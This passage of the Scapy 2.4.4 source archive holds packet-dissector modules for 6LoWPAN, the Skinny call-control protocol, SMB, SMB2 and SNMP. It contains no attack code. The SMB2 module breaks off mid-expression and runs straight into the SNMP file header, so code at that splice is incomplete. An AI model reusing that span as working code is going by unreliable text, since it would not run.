supported)" class SixLoWPAN(Packet): name = "SixLoWPAN(Packet)" @classmethod def dispatch_hook(cls, _pkt=b"", *args, **kargs): """Depending on the payload content, the frame type we should interpretate""" # noqa: E501 if _pkt and len(_pkt) >= 1: if orb(_pkt[0]) == 0x41: return LoWPANUncompressedIPv6 if orb(_pkt[0]) == 0x42: return LoWPAN_HC1 if orb(_pkt[0]) >> 3 == 0x18: return LoWPANFragmentationFirst elif orb(_pkt[0]) >> 3 == 0x1C: return LoWPANFragmentationSubsequent elif orb(_pkt[0]) >> 6 == 0x02: return LoWPANMesh elif orb(_pkt[0]) >> 6 == 0x01: return LoWPAN_IPHC return cls # fragmentate IPv6 MAX_SIZE = 96 def sixlowpan_fragment(packet, datagram_tag=1): """Split a packet into different links to transmit as 6lowpan packets. Usage example:: >>> ipv6 = ..... (very big packet) >>> pkts = sixlowpan_fragment(ipv6, datagram_tag=0x17) >>> send = [Dot15d4()/Dot15d4Data()/x for x in pkts] >>> wireshark(send) """ if not packet.haslayer(IPv6): raise Exception("SixLoWPAN only fragments IPv6 packets !") str_packet = raw(packet[IPv6]) if len(str_packet) <= MAX_SIZE: return [packet] def chunks(li, n): return [li[i:i + n] for i in range(0, len(li), n)] new_packet = chunks(str_packet, MAX_SIZE) new_packet[0] = LoWPANFragmentationFirst(datagramTag=datagram_tag, datagramSize=len(str_packet)) / new_packet[0] # noqa: E501 i = 1 while i < len(new_packet): new_packet[i] = LoWPANFragmentationSubsequent(datagramTag=datagram_tag, datagramSize=len(str_packet), datagramOffset=MAX_SIZE // 8 * i) / new_packet[i] # noqa: E501 i += 1 return new_packet def sixlowpan_defragment(packet_list): results = {} for p in packet_list: cls = None if LoWPANFragmentationFirst in p: cls = LoWPANFragmentationFirst elif LoWPANFragmentationSubsequent in p: cls = LoWPANFragmentationSubsequent if cls: tag = p[cls].datagramTag results[tag] = results.get(tag, b"") + p[cls].payload.load # noqa: E501 return {tag: SixLoWPAN(x) for tag, x in results.items()} bind_layers(SixLoWPAN, LoWPANFragmentationFirst,) bind_layers(SixLoWPAN, LoWPANFragmentationSubsequent,) bind_layers(SixLoWPAN, LoWPANMesh,) bind_layers(SixLoWPAN, LoWPAN_IPHC,) bind_layers(LoWPANMesh, LoWPANFragmentationFirst,) bind_layers(LoWPANMesh, LoWPANFragmentationSubsequent,) bind_layers(Ether, SixLoWPAN, type=0xA0ED) # TODO: I have several doubts about the Broadcast LoWPAN # bind_layers( LoWPANBroadcast, LoWPANHC1CompressedIPv6, ) # bind_layers( SixLoWPAN, LoWPANBroadcast, ) # bind_layers( LoWPANMesh, LoWPANBroadcast, ) # bind_layers( LoWPANBroadcast, LoWPANFragmentationFirst, ) # bind_layers( LoWPANBroadcast, LoWPANFragmentationSubsequent, ) # TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. dot15d4.py) # Currently: use conf.dot15d4_protocol value # bind_layers(Dot15d4Data, SixLoWPAN) scapy-2.4.4/scapy/layers/skinny.py000066400000000000000000000132661372370053500171600ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Skinny Call Control Protocol (SCCP) """ from scapy.packet import Packet, bind_layers from scapy.fields import LEIntField, LEIntEnumField from scapy.layers.inet import TCP # shamelessly ripped from Ethereal dissector skinny_messages = { # Station -> Callmanager 0x0000: "KeepAliveMessage", 0x0001: "RegisterMessage", 0x0002: "IpPortMessage", 0x0003: "KeypadButtonMessage", 0x0004: "EnblocCallMessage", 0x0005: "StimulusMessage", 0x0006: "OffHookMessage", 0x0007: "OnHookMessage", 0x0008: "HookFlashMessage", 0x0009: "ForwardStatReqMessage", 0x000A: "SpeedDialStatReqMessage", 0x000B: "LineStatReqMessage", 0x000C: "ConfigStatReqMessage", 0x000D: "TimeDateReqMessage", 0x000E: "ButtonTemplateReqMessage", 0x000F: "VersionReqMessage", 0x0010: "CapabilitiesResMessage", 0x0011: "MediaPortListMessage", 0x0012: "ServerReqMessage", 0x0020: "AlarmMessage", 0x0021: "MulticastMediaReceptionAck", 0x0022: "OpenReceiveChannelAck", 0x0023: "ConnectionStatisticsRes", 0x0024: "OffHookWithCgpnMessage", 0x0025: "SoftKeySetReqMessage", 0x0026: "SoftKeyEventMessage", 0x0027: "UnregisterMessage", 0x0028: "SoftKeyTemplateReqMessage", 0x0029: "RegisterTokenReq", 0x002A: "MediaTransmissionFailure", 0x002B: "HeadsetStatusMessage", 0x002C: "MediaResourceNotification", 0x002D: "RegisterAvailableLinesMessage", 0x002E: "DeviceToUserDataMessage", 0x002F: "DeviceToUserDataResponseMessage", 0x0030: "UpdateCapabilitiesMessage", 0x0031: "OpenMultiMediaReceiveChannelAckMessage", 0x0032: "ClearConferenceMessage", 0x0033: "ServiceURLStatReqMessage", 0x0034: "FeatureStatReqMessage", 0x0035: "CreateConferenceResMessage", 0x0036: "DeleteConferenceResMessage", 0x0037: "ModifyConferenceResMessage", 0x0038: "AddParticipantResMessage", 0x0039: "AuditConferenceResMessage", 0x0040: "AuditParticipantResMessage", 0x0041: "DeviceToUserDataVersion1Message", # Callmanager -> Station */ 0x0081: "RegisterAckMessage", 0x0082: "StartToneMessage", 0x0083: "StopToneMessage", 0x0085: "SetRingerMessage", 0x0086: "SetLampMessage", 0x0087: "SetHkFDetectMessage", 0x0088: "SetSpeakerModeMessage", 0x0089: "SetMicroModeMessage", 0x008A: "StartMediaTransmission", 0x008B: "StopMediaTransmission", 0x008C: "StartMediaReception", 0x008D: "StopMediaReception", 0x008F: "CallInfoMessage", 0x0090: "ForwardStatMessage", 0x0091: "SpeedDialStatMessage", 0x0092: "LineStatMessage", 0x0093: "ConfigStatMessage", 0x0094: "DefineTimeDate", 0x0095: "StartSessionTransmission", 0x0096: "StopSessionTransmission", 0x0097: "ButtonTemplateMessage", 0x0098: "VersionMessage", 0x0099: "DisplayTextMessage", 0x009A: "ClearDisplay", 0x009B: "CapabilitiesReqMessage", 0x009C: "EnunciatorCommandMessage", 0x009D: "RegisterRejectMessage", 0x009E: "ServerResMessage", 0x009F: "Reset", 0x0100: "KeepAliveAckMessage", 0x0101: "StartMulticastMediaReception", 0x0102: "StartMulticastMediaTransmission", 0x0103: "StopMulticastMediaReception", 0x0104: "StopMulticastMediaTransmission", 0x0105: "OpenReceiveChannel", 0x0106: "CloseReceiveChannel", 0x0107: "ConnectionStatisticsReq", 0x0108: "SoftKeyTemplateResMessage", 0x0109: "SoftKeySetResMessage", 0x0110: "SelectSoftKeysMessage", 0x0111: "CallStateMessage", 0x0112: "DisplayPromptStatusMessage", 0x0113: "ClearPromptStatusMessage", 0x0114: "DisplayNotifyMessage", 0x0115: "ClearNotifyMessage", 0x0116: "ActivateCallPlaneMessage", 0x0117: "DeactivateCallPlaneMessage", 0x0118: "UnregisterAckMessage", 0x0119: "BackSpaceReqMessage", 0x011A: "RegisterTokenAck", 0x011B: "RegisterTokenReject", 0x0042: "DeviceToUserDataResponseVersion1Message", 0x011C: "StartMediaFailureDetection", 0x011D: "DialedNumberMessage", 0x011E: "UserToDeviceDataMessage", 0x011F: "FeatureStatMessage", 0x0120: "DisplayPriNotifyMessage", 0x0121: "ClearPriNotifyMessage", 0x0122: "StartAnnouncementMessage", 0x0123: "StopAnnouncementMessage", 0x0124: "AnnouncementFinishMessage", 0x0127: "NotifyDtmfToneMessage", 0x0128: "SendDtmfToneMessage", 0x0129: "SubscribeDtmfPayloadReqMessage", 0x012A: "SubscribeDtmfPayloadResMessage", 0x012B: "SubscribeDtmfPayloadErrMessage", 0x012C: "UnSubscribeDtmfPayloadReqMessage", 0x012D: "UnSubscribeDtmfPayloadResMessage", 0x012E: "UnSubscribeDtmfPayloadErrMessage", 0x012F: "ServiceURLStatMessage", 0x0130: "CallSelectStatMessage", 0x0131: "OpenMultiMediaChannelMessage", 0x0132: "StartMultiMediaTransmission", 0x0133: "StopMultiMediaTransmission", 0x0134: "MiscellaneousCommandMessage", 0x0135: "FlowControlCommandMessage", 0x0136: "CloseMultiMediaReceiveChannel", 0x0137: "CreateConferenceReqMessage", 0x0138: "DeleteConferenceReqMessage", 0x0139: "ModifyConferenceReqMessage", 0x013A: "AddParticipantReqMessage", 0x013B: "DropParticipantReqMessage", 0x013C: "AuditConferenceReqMessage", 0x013D: "AuditParticipantReqMessage", 0x013F: "UserToDeviceDataVersion1Message", } class Skinny(Packet): name = "Skinny" fields_desc = [LEIntField("len", 0), LEIntField("res", 0), LEIntEnumField("msg", 0, skinny_messages)] bind_layers(TCP, Skinny, dport=2000) bind_layers(TCP, Skinny, sport=2000) bind_layers(TCP, Skinny, dport=2000, sport=2000) scapy-2.4.4/scapy/layers/smb.py000066400000000000000000000461131372370053500164230ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ SMB (Server Message Block), also known as CIFS. """ from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteEnumField, ByteField, FlagsField, \ LEFieldLenField, LEIntField, LELongField, LEShortField, ShortField, \ StrFixedLenField, StrLenField, StrNullField from scapy.layers.netbios import NBTSession from scapy.layers.smb2 import SMB2_Header # SMB NetLogon Response Header class SMBNetlogon_Protocol_Response_Header(Packet): name = "SMBNetlogon Protocol Response Header" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x25, {0x25: "Trans"}), ByteField("Error_Class", 0x02), ByteField("Reserved", 0), LEShortField("Error_code", 4), ByteField("Flags", 0), LEShortField("Flags2", 0x0000), LEShortField("PIDHigh", 0x0000), LELongField("Signature", 0x0), LEShortField("Unused", 0x0), LEShortField("TID", 0), LEShortField("PID", 0), LEShortField("UID", 0), LEShortField("MID", 0), ByteField("WordCount", 17), LEShortField("TotalParamCount", 0), LEShortField("TotalDataCount", 112), LEShortField("MaxParamCount", 0), LEShortField("MaxDataCount", 0), ByteField("MaxSetupCount", 0), ByteField("unused2", 0), LEShortField("Flags3", 0), ByteField("TimeOut1", 0xe8), ByteField("TimeOut2", 0x03), LEShortField("unused3", 0), LEShortField("unused4", 0), LEShortField("ParamCount2", 0), LEShortField("ParamOffset", 0), LEShortField("DataCount", 112), LEShortField("DataOffset", 92), ByteField("SetupCount", 3), ByteField("unused5", 0)] # SMB MailSlot Protocol class SMBMailSlot(Packet): name = "SMB Mail Slot Protocol" fields_desc = [LEShortField("opcode", 1), LEShortField("priority", 1), LEShortField("class", 2), LEShortField("size", 135), StrNullField("name", "\\MAILSLOT\\NET\\GETDC660")] # SMB NetLogon Protocol Response Tail SAM class SMBNetlogon_Protocol_Response_Tail_SAM(Packet): name = "SMB Netlogon Protocol Response Tail SAM" fields_desc = [ByteEnumField("Command", 0x17, {0x12: "SAM logon request", 0x17: "SAM Active directory Response"}), # noqa: E501 ByteField("unused", 0), ShortField("Data1", 0), ShortField("Data2", 0xfd01), ShortField("Data3", 0), ShortField("Data4", 0xacde), ShortField("Data5", 0x0fe5), ShortField("Data6", 0xd10a), ShortField("Data7", 0x374c), ShortField("Data8", 0x83e2), ShortField("Data9", 0x7dd9), ShortField("Data10", 0x3a16), ShortField("Data11", 0x73ff), ByteField("Data12", 0x04), StrFixedLenField("Data13", "rmff", 4), ByteField("Data14", 0x0), ShortField("Data16", 0xc018), ByteField("Data18", 0x0a), StrFixedLenField("Data20", "rmff-win2k", 10), ByteField("Data21", 0xc0), ShortField("Data22", 0x18c0), ShortField("Data23", 0x180a), StrFixedLenField("Data24", "RMFF-WIN2K", 10), ShortField("Data25", 0), ByteField("Data26", 0x17), StrFixedLenField("Data27", "Default-First-Site-Name", 23), ShortField("Data28", 0x00c0), ShortField("Data29", 0x3c10), ShortField("Data30", 0x00c0), ShortField("Data31", 0x0200), ShortField("Data32", 0x0), ShortField("Data33", 0xac14), ShortField("Data34", 0x0064), ShortField("Data35", 0x0), ShortField("Data36", 0x0), ShortField("Data37", 0x0), ShortField("Data38", 0x0), ShortField("Data39", 0x0d00), ShortField("Data40", 0x0), ShortField("Data41", 0xffff)] # SMB NetLogon Protocol Response Tail LM2.0 class SMBNetlogon_Protocol_Response_Tail_LM20(Packet): name = "SMB Netlogon Protocol Response Tail LM20" fields_desc = [ByteEnumField("Command", 0x06, {0x06: "LM 2.0 Response to logon request"}), # noqa: E501 ByteField("unused", 0), StrFixedLenField("DblSlash", "\\\\", 2), StrNullField("ServerName", "WIN"), LEShortField("LM20Token", 0xffff)] # SMBNegociate Protocol Request Header class SMBNegociate_Protocol_Request_Header(Packet): name = "SMBNegociate Protocol Request Header" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), ByteField("Error_Class", 0), ByteField("Reserved", 0), LEShortField("Error_code", 0), ByteField("Flags", 0x18), LEShortField("Flags2", 0x0000), LEShortField("PIDHigh", 0x0000), LELongField("Signature", 0x0), LEShortField("Unused", 0x0), LEShortField("TID", 0), LEShortField("PID", 1), LEShortField("UID", 0), LEShortField("MID", 2), ByteField("WordCount", 0), LEShortField("ByteCount", 12)] # Generic version of SMBNegociate Protocol Request Header class SMBNegociate_Protocol_Request_Header_Generic(Packet): name = "SMBNegociate Protocol Request Header Generic" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Depending on the first 4 bytes of the packet, dispatch to the correct version of Header (either SMB or SMB2) """ if _pkt and len(_pkt) >= 4: if _pkt[:4] == b'\xffSMB': return SMBNegociate_Protocol_Request_Header if _pkt[:4] == b'\xfeSMB': return SMB2_Header return cls # SMB Negotiate Protocol Request Tail class SMBNegociate_Protocol_Request_Tail(Packet): name = "SMB Negotiate Protocol Request Tail" fields_desc = [ByteField("BufferFormat", 0x02), StrNullField("BufferData", "NT LM 0.12")] # SMBNegociate Protocol Response Advanced Security class SMBNegociate_Protocol_Response_Advanced_Security(Packet): name = "SMBNegociate Protocol Response Advanced Security" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), ByteField("Error_Class", 0), ByteField("Reserved", 0), LEShortField("Error_Code", 0), ByteField("Flags", 0x98), LEShortField("Flags2", 0x0000), LEShortField("PIDHigh", 0x0000), LELongField("Signature", 0x0), LEShortField("Unused", 0x0), LEShortField("TID", 0), LEShortField("PID", 1), LEShortField("UID", 0), LEShortField("MID", 2), ByteField("WordCount", 17), LEShortField("DialectIndex", 7), ByteField("SecurityMode", 0x03), LEShortField("MaxMpxCount", 50), LEShortField("MaxNumberVC", 1), LEIntField("MaxBufferSize", 16144), LEIntField("MaxRawSize", 65536), LEIntField("SessionKey", 0x0000), LEShortField("ServerCapabilities", 0xf3f9), BitField("UnixExtensions", 0, 1), BitField("Reserved2", 0, 7), BitField("ExtendedSecurity", 1, 1), BitField("CompBulk", 0, 2), BitField("Reserved3", 0, 5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. # noqa: E501 LEIntField("ServerTimeHigh", 0xD6228000), LEIntField("ServerTimeLow", 0x1C4EF94), LEShortField("ServerTimeZone", 0x3c), ByteField("EncryptionKeyLength", 0), LEFieldLenField("ByteCount", None, "SecurityBlob", adjust=lambda pkt, x: x - 16), # noqa: E501 BitField("GUID", 0, 128), StrLenField("SecurityBlob", "", length_from=lambda x: x.ByteCount + 16)] # noqa: E501 # SMBNegociate Protocol Response No Security # When using no security, with EncryptionKeyLength=8, you must have an EncryptionKey before the DomainName # noqa: E501 class SMBNegociate_Protocol_Response_No_Security(Packet): name = "SMBNegociate Protocol Response No Security" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), ByteField("Error_Class", 0), ByteField("Reserved", 0), LEShortField("Error_Code", 0), ByteField("Flags", 0x98), LEShortField("Flags2", 0x0000), LEShortField("PIDHigh", 0x0000), LELongField("Signature", 0x0), LEShortField("Unused", 0x0), LEShortField("TID", 0), LEShortField("PID", 1), LEShortField("UID", 0), LEShortField("MID", 2), ByteField("WordCount", 17), LEShortField("DialectIndex", 7), ByteField("SecurityMode", 0x03), LEShortField("MaxMpxCount", 50), LEShortField("MaxNumberVC", 1), LEIntField("MaxBufferSize", 16144), LEIntField("MaxRawSize", 65536), LEIntField("SessionKey", 0x0000), LEShortField("ServerCapabilities", 0xf3f9), BitField("UnixExtensions", 0, 1), BitField("Reserved2", 0, 7), BitField("ExtendedSecurity", 0, 1), FlagsField("CompBulk", 0, 2, "CB"), BitField("Reserved3", 0, 5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. # noqa: E501 LEIntField("ServerTimeHigh", 0xD6228000), LEIntField("ServerTimeLow", 0x1C4EF94), LEShortField("ServerTimeZone", 0x3c), ByteField("EncryptionKeyLength", 8), LEShortField("ByteCount", 24), BitField("EncryptionKey", 0, 64), StrNullField("DomainName", "WORKGROUP"), StrNullField("ServerName", "RMFF1")] # SMBNegociate Protocol Response No Security No Key class SMBNegociate_Protocol_Response_No_Security_No_Key(Packet): namez = "SMBNegociate Protocol Response No Security No Key" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), ByteField("Error_Class", 0), ByteField("Reserved", 0), LEShortField("Error_Code", 0), ByteField("Flags", 0x98), LEShortField("Flags2", 0x0000), LEShortField("PIDHigh", 0x0000), LELongField("Signature", 0x0), LEShortField("Unused", 0x0), LEShortField("TID", 0), LEShortField("PID", 1), LEShortField("UID", 0), LEShortField("MID", 2), ByteField("WordCount", 17), LEShortField("DialectIndex", 7), ByteField("SecurityMode", 0x03), LEShortField("MaxMpxCount", 50), LEShortField("MaxNumberVC", 1), LEIntField("MaxBufferSize", 16144), LEIntField("MaxRawSize", 65536), LEIntField("SessionKey", 0x0000), LEShortField("ServerCapabilities", 0xf3f9), BitField("UnixExtensions", 0, 1), BitField("Reserved2", 0, 7), BitField("ExtendedSecurity", 0, 1), FlagsField("CompBulk", 0, 2, "CB"), BitField("Reserved3", 0, 5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. # noqa: E501 LEIntField("ServerTimeHigh", 0xD6228000), LEIntField("ServerTimeLow", 0x1C4EF94), LEShortField("ServerTimeZone", 0x3c), ByteField("EncryptionKeyLength", 0), LEShortField("ByteCount", 16), StrNullField("DomainName", "WORKGROUP"), StrNullField("ServerName", "RMFF1")] # Session Setup AndX Request class SMBSession_Setup_AndX_Request(Packet): name = "Session Setup AndX Request" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x73, {0x73: "SMB_COM_SESSION_SETUP_ANDX"}), # noqa: E501 ByteField("Error_Class", 0), ByteField("Reserved", 0), LEShortField("Error_Code", 0), ByteField("Flags", 0x18), LEShortField("Flags2", 0x0001), LEShortField("PIDHigh", 0x0000), LELongField("Signature", 0x0), LEShortField("Unused", 0x0), LEShortField("TID", 0), LEShortField("PID", 1), LEShortField("UID", 0), LEShortField("MID", 2), ByteField("WordCount", 13), ByteEnumField("AndXCommand", 0x75, {0x75: "SMB_COM_TREE_CONNECT_ANDX"}), # noqa: E501 ByteField("Reserved2", 0), LEShortField("AndXOffset", 96), LEShortField("MaxBufferS", 2920), LEShortField("MaxMPXCount", 50), LEShortField("VCNumber", 0), LEIntField("SessionKey", 0), LEFieldLenField("ANSIPasswordLength", None, "ANSIPassword"), LEShortField("UnicodePasswordLength", 0), LEIntField("Reserved3", 0), LEShortField("ServerCapabilities", 0x05), BitField("UnixExtensions", 0, 1), BitField("Reserved4", 0, 7), BitField("ExtendedSecurity", 0, 1), BitField("CompBulk", 0, 2), BitField("Reserved5", 0, 5), LEShortField("ByteCount", 35), StrLenField("ANSIPassword", "Pass", length_from=lambda x: x.ANSIPasswordLength), # noqa: E501 StrNullField("Account", "GUEST"), StrNullField("PrimaryDomain", ""), StrNullField("NativeOS", "Windows 4.0"), StrNullField("NativeLanManager", "Windows 4.0"), ByteField("WordCount2", 4), ByteEnumField("AndXCommand2", 0xFF, {0xFF: "SMB_COM_NONE"}), ByteField("Reserved6", 0), LEShortField("AndXOffset2", 0), LEShortField("Flags3", 0x2), LEShortField("PasswordLength", 0x1), LEShortField("ByteCount2", 18), ByteField("Password", 0), StrNullField("Path", "\\\\WIN2K\\IPC$"), StrNullField("Service", "IPC")] # Session Setup AndX Response class SMBSession_Setup_AndX_Response(Packet): name = "Session Setup AndX Response" fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), ByteEnumField("Command", 0x73, {0x73: "SMB_COM_SESSION_SETUP_ANDX"}), # noqa: E501 ByteField("Error_Class", 0), ByteField("Reserved", 0), LEShortField("Error_Code", 0), ByteField("Flags", 0x90), LEShortField("Flags2", 0x1001), LEShortField("PIDHigh", 0x0000), LELongField("Signature", 0x0), LEShortField("Unused", 0x0), LEShortField("TID", 0), LEShortField("PID", 1), LEShortField("UID", 0), LEShortField("MID", 2), ByteField("WordCount", 3), ByteEnumField("AndXCommand", 0x75, {0x75: "SMB_COM_TREE_CONNECT_ANDX"}), # noqa: E501 ByteField("Reserved2", 0), LEShortField("AndXOffset", 66), LEShortField("Action", 0), LEShortField("ByteCount", 25), StrNullField("NativeOS", "Windows 4.0"), StrNullField("NativeLanManager", "Windows 4.0"), StrNullField("PrimaryDomain", ""), ByteField("WordCount2", 3), ByteEnumField("AndXCommand2", 0xFF, {0xFF: "SMB_COM_NONE"}), ByteField("Reserved3", 0), LEShortField("AndXOffset2", 80), LEShortField("OptionalSupport", 0x01), LEShortField("ByteCount2", 5), StrNullField("Service", "IPC"), StrNullField("NativeFileSystem", "")] bind_layers(NBTSession, SMBNegociate_Protocol_Request_Header_Generic, ) bind_layers(NBTSession, SMBNegociate_Protocol_Response_Advanced_Security, ExtendedSecurity=1) # noqa: E501 bind_layers(NBTSession, SMBNegociate_Protocol_Response_No_Security, ExtendedSecurity=0, EncryptionKeyLength=8) # noqa: E501 bind_layers(NBTSession, SMBNegociate_Protocol_Response_No_Security_No_Key, ExtendedSecurity=0, EncryptionKeyLength=0) # noqa: E501 bind_layers(NBTSession, SMBSession_Setup_AndX_Request, ) bind_layers(NBTSession, SMBSession_Setup_AndX_Response, ) bind_layers(SMBNegociate_Protocol_Request_Header, SMBNegociate_Protocol_Request_Tail, ) # noqa: E501 bind_layers(SMBNegociate_Protocol_Request_Tail, SMBNegociate_Protocol_Request_Tail, ) # noqa: E501 scapy-2.4.4/scapy/layers/smb2.py000066400000000000000000000233541372370053500165070ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ SMB (Server Message Block), also known as CIFS - version 2 """ from scapy.config import conf from scapy.packet import Packet, bind_layers, bind_top_down from scapy.fields import ( FieldLenField, FieldListField, FlagsField, IntEnumField, IntField, LEIntField, LELongField, LEShortEnumField, LEShortField, PacketListField, PadField, ShortEnumField, ShortField, StrFieldUtf16, StrFixedLenField, UUIDField, XLEIntField, XLELongField, XLEShortField, XLongField, XNBytesField, XStrLenField, ) # EnumField SMB_DIALECTS = { 0x0202: 'SMB 2.0.2', 0x0210: 'SMB 2.1', 0x0300: 'SMB 3.0', 0x0302: 'SMB 3.0.2', 0x0311: 'SMB 3.1.1', } # EnumField SMB2_NEGOCIATE_CONTEXT_TYPES = { 0x0001: 'SMB2_PREAUTH_INTEGRITY_CAPABILITIES', 0x0002: 'SMB2_ENCRYPTION_CAPABILITIES', 0x0003: 'SMB2_COMPRESSION_CAPABILITIES', 0x0005: 'SMB2_NETNAME_NEGOCIATE_CONTEXT_ID', } # FlagField SMB2_CAPABILITIES = { 30: "Encryption", 29: "DirectoryLeasing", 28: "PersistentHandles", 27: "MultiChannel", 26: "LargeMTU", 25: "Leasing", 24: "DFS", } # EnumField SMB2_COMPRESSION_ALGORITHMS = { 0x0000: "None", 0x0001: "LZNT1", 0x0002: "LZ77", 0x0003: "LZ77 + Huffman", 0x0004: "Pattern_V1", } class SMB2_Header(Packet): name = "SMB2 Header" fields_desc = [ StrFixedLenField("Start", b"\xfeSMB", 4), LEShortField("HeaderLength", 0), LEShortField("CreditCharge", 0), LEShortField("ChannelSequence", 0), LEShortField("Unused", 0), ShortEnumField("Command", 0, {0x0000: "SMB2_COM_NEGOCIATE"}), LEShortField("CreditsRequested", 0), # XLEIntField("Flags", 0), FlagsField("Flags", 0, 32, { 24: "SMB2_FLAGS_SERVER_TO_REDIR", }), XLEIntField("ChainOffset", 0), LELongField("MessageID", 0), XLEIntField("ProcessID", 0), XLEIntField("TreeID", 0), XLELongField("SessionID", 0), XNBytesField("Signature", 0, 16), ] def guess_payload_class(self, payload): if self.Command == 0x0000: if self.Flags.SMB2_FLAGS_SERVER_TO_REDIR: return SMB2_Negociate_Protocol_Response_Header return SMB2_Negociate_Protocol_Request_Header return super(SMB2_Header, self).guess_payload_class(payload) class SMB2_Compression_Transform_Header(Packet): name = "SMB2 Compression Transform Header" fields_desc = [ StrFixedLenField("Start", b"\xfcSMB", 4), LEIntField("OriginalCompressedSegmentSize", 0x0), LEShortEnumField( "CompressionAlgorithm", 0, SMB2_COMPRESSION_ALGORITHMS ), ShortEnumField("Flags", 0x0, { 0x0000: "SMB2_COMPRESSION_FLAG_NONE", 0x0001: "SMB2_COMPRESSION_FLAG_CHAINED", }), XLEIntField("Offset/Length", 0), ] class SMB2_Negociate_Context(Packet): name = "SMB2 Negociate Context" fields_desc = [ LEShortEnumField("ContextType", 0x0, SMB2_NEGOCIATE_CONTEXT_TYPES), FieldLenField("DataLength", 0x0, fmt=" # This program is published under a GPLv2 license """ SNMP (Simple Network Management Protocol). """ from __future__ import print_function from scapy.packet import bind_layers, bind_bottom_up from scapy.asn1packet import ASN1_Packet from scapy.asn1fields import ASN1F_INTEGER, ASN1F_IPADDRESS, ASN1F_OID, \ ASN1F_SEQUENCE, ASN1F_SEQUENCE_OF, ASN1F_STRING, ASN1F_TIME_TICKS, \ ASN1F_enum_INTEGER, ASN1F_field, ASN1F_CHOICE from scapy.asn1.asn1 import ASN1_Class_UNIVERSAL, ASN1_Codecs, ASN1_NULL, \ ASN1_SEQUENCE from scapy.asn1.ber import BERcodec_SEQUENCE from scapy.sendrecv import sr1 from scapy.volatile import RandShort, IntAutoTime from scapy.layers.inet import UDP, IP, ICMP # Import needed to initialize conf.mib from scapy.asn1.mib import conf # noqa: F401 ########## # SNMP # ########## # [ ASN1 class ] # class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name = "SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1_SNMP_PDU_SET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 # [ BER codecs ] # class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 # [ ASN1 fields ] # class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT class ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_SET class 